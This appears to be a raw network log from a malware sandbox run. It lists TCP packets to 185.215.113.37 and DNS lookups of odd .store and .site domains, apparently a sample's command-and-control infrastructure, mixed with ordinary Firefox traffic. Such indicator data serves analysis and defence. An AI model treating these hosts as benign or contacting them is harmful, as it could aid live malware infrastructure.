Oct 24, 2024 08:38:47.970972061 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.970987082 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.971008062 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.971023083 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.971026897 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.971038103 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.971049070 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.971060038 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.971079111 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.971101999 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.971225023 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.971235037 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.971240997 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.971249104 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.971260071 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.971276999 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.971283913 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.971287966 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.971302032 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.971309900 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.971319914 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.971330881 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.971353054 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.971363068 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.971368074 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.971380949 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.971398115 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.971400976 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.971407890 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.971415043 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.971420050 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.971430063 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.971440077 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.971450090 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.971451998 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.971470118 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.971481085 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.971488953 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.971492052 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.971498013 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.971503973 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.971513033 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.971524954 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.971534967 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.971544027 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.971548080 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.971566916 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.971590042 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.971600056 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.971647024 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.971991062 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.972002029 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.972012997 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.972034931 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.972058058 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.972069025 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.972071886 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.972103119 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.972105980 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.972119093 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.972127914 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.972130060 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.972141027 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.972141027 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.972165108 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.972187042 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.972227097 CEST	80	61014	185.215.113.37	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 24, 2024 08:38:16.940458059 CEST	192.168.2.5	1.1.1.1	0x1ba8	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:16.953814983 CEST	192.168.2.5	1.1.1.1	0x57ea	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:16.966379881 CEST	192.168.2.5	1.1.1.1	0xe8f2	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:16.978614092 CEST	192.168.2.5	1.1.1.1	0x97cf	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:16.990405083 CEST	192.168.2.5	1.1.1.1	0xcf58	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:17.002115965 CEST	192.168.2.5	1.1.1.1	0x454e	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:17.016309977 CEST	192.168.2.5	1.1.1.1	0x100c	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:17.027587891 CEST	192.168.2.5	1.1.1.1	0x6924	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:17.041476011 CEST	192.168.2.5	1.1.1.1	0x7837	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:18.848998070 CEST	192.168.2.5	1.1.1.1	0x823b	Standard query (0)	sergei-esenin.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:31.459635973 CEST	192.168.2.5	1.1.1.1	0xcc1	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:31.472131014 CEST	192.168.2.5	1.1.1.1	0x9a01	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:31.491355896 CEST	192.168.2.5	1.1.1.1	0x3cb6	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:31.503387928 CEST	192.168.2.5	1.1.1.1	0x30fa	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:31.515942097 CEST	192.168.2.5	1.1.1.1	0x402e	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:31.528749943 CEST	192.168.2.5	1.1.1.1	0x6e18	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:31.540004969 CEST	192.168.2.5	1.1.1.1	0xfea2	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:31.552124977 CEST	192.168.2.5	1.1.1.1	0x4bba	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:31.565119982 CEST	192.168.2.5	1.1.1.1	0x9dc1	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:39.236521006 CEST	192.168.2.5	1.1.1.1	0xab5b	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:39.251553059 CEST	192.168.2.5	1.1.1.1	0x77f1	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 08:38:40.692759991 CEST	192.168.2.5	1.1.1.1	0xa625	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:40.695501089 CEST	192.168.2.5	1.1.1.1	0xc5d2	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:40.706434011 CEST	192.168.2.5	1.1.1.1	0xcfbb	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:40.778435946 CEST	192.168.2.5	1.1.1.1	0x9fff	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:40.778959036 CEST	192.168.2.5	1.1.1.1	0xd2ef	Standard query (0)	youtube.com	28	IN (0x0001)	false
Oct 24, 2024 08:38:40.787082911 CEST	192.168.2.5	1.1.1.1	0x104d	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 08:38:42.002624035 CEST	192.168.2.5	1.1.1.1	0xa8e0	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:42.006181955 CEST	192.168.2.5	1.1.1.1	0x98be	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:42.119298935 CEST	192.168.2.5	1.1.1.1	0xce9	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:42.120275021 CEST	192.168.2.5	1.1.1.1	0x70aa	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:42.164624929 CEST	192.168.2.5	1.1.1.1	0x624c	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:42.165231943 CEST	192.168.2.5	1.1.1.1	0x2124	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:42.176522970 CEST	192.168.2.5	1.1.1.1	0xcd7f	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 24, 2024 08:38:42.176866055 CEST	192.168.2.5	1.1.1.1	0xd4f8	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 08:38:42.496041059 CEST	192.168.2.5	1.1.1.1	0x8521	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:42.504797935 CEST	192.168.2.5	1.1.1.1	0x2381	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:42.513569117 CEST	192.168.2.5	1.1.1.1	0x6aa0	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 08:38:42.626032114 CEST	192.168.2.5	1.1.1.1	0x5191	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:42.652931929 CEST	192.168.2.5	1.1.1.1	0x3edc	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:42.669172049 CEST	192.168.2.5	1.1.1.1	0x184d	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 08:38:45.153229952 CEST	192.168.2.5	1.1.1.1	0x519f	Standard query (0)	support.mozilla.org	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:45.162241936 CEST	192.168.2.5	1.1.1.1	0xdcf9	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:45.170228004 CEST	192.168.2.5	1.1.1.1	0xbc60	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 08:39:06.599235058 CEST	192.168.2.5	1.1.1.1	0xfce3	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 08:39:06.613105059 CEST	192.168.2.5	1.1.1.1	0x6045	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:39:06.759593964 CEST	192.168.2.5	1.1.1.1	0xceca	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:39:06.771945953 CEST	192.168.2.5	1.1.1.1	0x323d	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:39:06.818813086 CEST	192.168.2.5	1.1.1.1	0x421e	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:39:06.829953909 CEST	192.168.2.5	1.1.1.1	0x1916	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:39:06.840776920 CEST	192.168.2.5	1.1.1.1	0x3fc1	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:39:06.855931997 CEST	192.168.2.5	1.1.1.1	0x908b	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:39:06.868402004 CEST	192.168.2.5	1.1.1.1	0x8b6f	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:39:06.881164074 CEST	192.168.2.5	1.1.1.1	0x55cf	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:39:06.897356033 CEST	192.168.2.5	1.1.1.1	0x1780	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:39:07.449553967 CEST	192.168.2.5	1.1.1.1	0x816f	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 24, 2024 08:39:08.078361988 CEST	192.168.2.5	1.1.1.1	0x2789	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:39:08.086447954 CEST	192.168.2.5	1.1.1.1	0x25f8	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 08:39:08.102026939 CEST	192.168.2.5	1.1.1.1	0x64f0	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:39:08.128022909 CEST	192.168.2.5	1.1.1.1	0xd04c	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 08:39:08.161576986 CEST	192.168.2.5	1.1.1.1	0xd04c	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 08:39:09.545125961 CEST	192.168.2.5	1.1.1.1	0x1b95	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:39:35.241626024 CEST	192.168.2.5	1.1.1.1	0x772a	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:39:35.250777960 CEST	192.168.2.5	1.1.1.1	0xd380	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 08:39:35.472523928 CEST	192.168.2.5	1.1.1.1	0xb4be	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 24, 2024 08:39:35.503478050 CEST	192.168.2.5	1.1.1.1	0xadc0	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 08:39:35.506203890 CEST	192.168.2.5	1.1.1.1	0x2e66	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 08:39:35.692734957 CEST	192.168.2.5	1.1.1.1	0x5f08	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:39:35.712790966 CEST	192.168.2.5	1.1.1.1	0x932d	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:39:35.722167015 CEST	192.168.2.5	1.1.1.1	0x9ad7	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 24, 2024 08:39:35.840115070 CEST	192.168.2.5	1.1.1.1	0x1e12	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:39:35.849313974 CEST	192.168.2.5	1.1.1.1	0x5459	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:39:35.851830959 CEST	192.168.2.5	1.1.1.1	0x9015	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Oct 24, 2024 08:39:35.874690056 CEST	192.168.2.5	1.1.1.1	0x6c21	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:39:35.885972977 CEST	192.168.2.5	1.1.1.1	0x8ee6	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 08:39:36.049830914 CEST	192.168.2.5	1.1.1.1	0xbae7	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 24, 2024 08:38:16.950051069 CEST	1.1.1.1	192.168.2.5	0x1ba8	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:16.964131117 CEST	1.1.1.1	192.168.2.5	0x57ea	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:16.976368904 CEST	1.1.1.1	192.168.2.5	0xe8f2	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:16.987994909 CEST	1.1.1.1	192.168.2.5	0x97cf	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:16.999703884 CEST	1.1.1.1	192.168.2.5	0xcf58	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:17.014062881 CEST	1.1.1.1	192.168.2.5	0x454e	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:17.025362968 CEST	1.1.1.1	192.168.2.5	0x100c	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:17.037354946 CEST	1.1.1.1	192.168.2.5	0x6924	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:17.049510002 CEST	1.1.1.1	192.168.2.5	0x7837	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:18.861270905 CEST	1.1.1.1	192.168.2.5	0x823b	No error (0)	sergei-esenin.com		104.21.53.8	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:18.861270905 CEST	1.1.1.1	192.168.2.5	0x823b	No error (0)	sergei-esenin.com		172.67.206.204	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:31.469553947 CEST	1.1.1.1	192.168.2.5	0xcc1	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:31.488044977 CEST	1.1.1.1	192.168.2.5	0x9a01	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:31.501131058 CEST	1.1.1.1	192.168.2.5	0x3cb6	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:31.513784885 CEST	1.1.1.1	192.168.2.5	0x30fa	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:31.526474953 CEST	1.1.1.1	192.168.2.5	0x402e	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:31.538717031 CEST	1.1.1.1	192.168.2.5	0x6e18	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:31.549638033 CEST	1.1.1.1	192.168.2.5	0xfea2	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:31.562153101 CEST	1.1.1.1	192.168.2.5	0x4bba	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:31.573420048 CEST	1.1.1.1	192.168.2.5	0x9dc1	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:39.163889885 CEST	1.1.1.1	192.168.2.5	0x4d69	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:39.244302988 CEST	1.1.1.1	192.168.2.5	0xab5b	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:40.700479984 CEST	1.1.1.1	192.168.2.5	0xa625	No error (0)	youtube.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:40.702775002 CEST	1.1.1.1	192.168.2.5	0xc5d2	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 08:38:40.702775002 CEST	1.1.1.1	192.168.2.5	0xc5d2	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:40.714107037 CEST	1.1.1.1	192.168.2.5	0xcfbb	No error (0)	youtube.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:40.786367893 CEST	1.1.1.1	192.168.2.5	0x9fff	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:40.787003994 CEST	1.1.1.1	192.168.2.5	0xd2ef	No error (0)	youtube.com			28	IN (0x0001)	false
Oct 24, 2024 08:38:40.794637918 CEST	1.1.1.1	192.168.2.5	0x104d	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Oct 24, 2024 08:38:42.009780884 CEST	1.1.1.1	192.168.2.5	0xa8e0	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:42.013416052 CEST	1.1.1.1	192.168.2.5	0x98be	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:42.013416052 CEST	1.1.1.1	192.168.2.5	0x98be	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:42.126418114 CEST	1.1.1.1	192.168.2.5	0xce9	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:42.126774073 CEST	1.1.1.1	192.168.2.5	0x5288	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 08:38:42.126774073 CEST	1.1.1.1	192.168.2.5	0x5288	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:42.128189087 CEST	1.1.1.1	192.168.2.5	0x70aa	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 08:38:42.128189087 CEST	1.1.1.1	192.168.2.5	0x70aa	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:42.172925949 CEST	1.1.1.1	192.168.2.5	0x2124	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:42.172941923 CEST	1.1.1.1	192.168.2.5	0x624c	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:42.503485918 CEST	1.1.1.1	192.168.2.5	0x8521	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 08:38:42.503485918 CEST	1.1.1.1	192.168.2.5	0x8521	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:42.512707949 CEST	1.1.1.1	192.168.2.5	0x2381	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:42.633418083 CEST	1.1.1.1	192.168.2.5	0x5191	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 08:38:42.633418083 CEST	1.1.1.1	192.168.2.5	0x5191	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 08:38:42.633418083 CEST	1.1.1.1	192.168.2.5	0x5191	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:42.660458088 CEST	1.1.1.1	192.168.2.5	0x3edc	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:42.676457882 CEST	1.1.1.1	192.168.2.5	0x184d	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Oct 24, 2024 08:38:45.161232948 CEST	1.1.1.1	192.168.2.5	0x519f	No error (0)	support.mozilla.org	prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 08:38:45.161232948 CEST	1.1.1.1	192.168.2.5	0x519f	No error (0)	prod.sumo.prod.webservices.mozgcp.net	us-west1.prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 08:38:45.161232948 CEST	1.1.1.1	192.168.2.5	0x519f	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:38:45.169680119 CEST	1.1.1.1	192.168.2.5	0xdcf9	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:39:06.620939016 CEST	1.1.1.1	192.168.2.5	0x6045	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 08:39:06.620939016 CEST	1.1.1.1	192.168.2.5	0x6045	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:39:06.769651890 CEST	1.1.1.1	192.168.2.5	0xceca	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:39:06.781233072 CEST	1.1.1.1	192.168.2.5	0x323d	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:39:06.828140974 CEST	1.1.1.1	192.168.2.5	0x421e	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:39:06.839256048 CEST	1.1.1.1	192.168.2.5	0x1916	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:39:06.851169109 CEST	1.1.1.1	192.168.2.5	0x3fc1	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
